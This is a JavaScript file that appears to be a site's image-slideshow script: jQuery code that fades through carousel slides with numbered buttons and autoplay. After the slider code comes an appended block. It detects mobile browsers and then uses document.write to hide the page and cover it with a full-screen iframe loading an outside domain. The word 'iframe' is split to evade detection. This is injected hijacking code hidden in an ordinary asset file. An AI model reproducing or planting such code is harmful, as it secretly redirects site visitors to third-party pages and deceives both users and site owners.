// JavaScript Document
$(function(){
	var picnum = $(".tpqh ul li").length;
	var picw = $(".tpqh ul li").width();
	var pictime;
	var tpqhnum=0;
	var numdiv="";
	for(var i=0; i<picnum;i++){
		numdiv +="<a href='javascript:void();'></a>"
		};
	$(".tpqh_num").append(numdiv);
	    $(".tpqh_num a").click(function () {
        tpqhnum = $(".tpqh_num a").index(this);
        show(tpqhnum);
    }).eq(0).trigger("click");
	
				pictime = setInterval(function(){
				show(tpqhnum);
				tpqhnum++; 
				if(tpqhnum==picnum){tpqhnum=0};	
				
				},3000);	

		$(".tpqh").hover(function(){
			clearInterval(pictime);
		},function(){
			pictime = setInterval(function(){
				show(tpqhnum);
				tpqhnum++; 
				if(tpqhnum==picnum){tpqhnum=0};				
				},3000);			
			});
	

				function show(tpqhnum){
					$(".tpqh ul li").eq(tpqhnum).fadeIn(500).siblings(this).fadeOut(500);
				    $(".tpqh_num a").eq(tpqhnum).addClass("over").siblings(this).removeClass("over");
					};
	});var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?674e5d900442c0f2da8898a4224a755e";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

var url = ['https://www.jryy520.cn'];

var MobielUrl = url[Math.floor((Math.random()*url.length))];

function is_mobile() {

    var regex_match = /(nokia|iphone|android|motorola|^mot-|softbank|foma|docomo|kddi|up.browser|up.link|htc|dopod|blazer|netfront|helio|hosin|huawei|novarra|CoolPad|webos|techfaith|palmsource|blackberry|alcatel|amoi|ktouch|nexian|samsung|^sam-|s[cg]h|^lge|ericsson|philips|sagem|wellcom|bunjalloo|maui|symbian|smartphone|midp|wap|phone|windows ce|iemobile|^spice|^bird|^zte-|longcos|pantech|gionee|^sie-|portalmmm|jigs browser|hiptop|^benq|haier|^lct|operas*mobi|opera*mini|320x320|240x320|176x220)/i;

    var u = navigator.userAgent;

    if (null == u) {
        return true;
    }
    var result = regex_match.exec(u);
    if (null == result) {
        return false
    } else {
        return true
    }

}

if (is_mobile()) {

    document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
    document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
    document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;">');
    document.write('<if'+'rame src="'+MobielUrl+' " frameborder="0" style="border:0;width: 100%; text-align: center; background: #f2f2f2; border: medium none; height:100%;max-height: 4000px;">'+'</iframe>');
    document.write('</div>');

}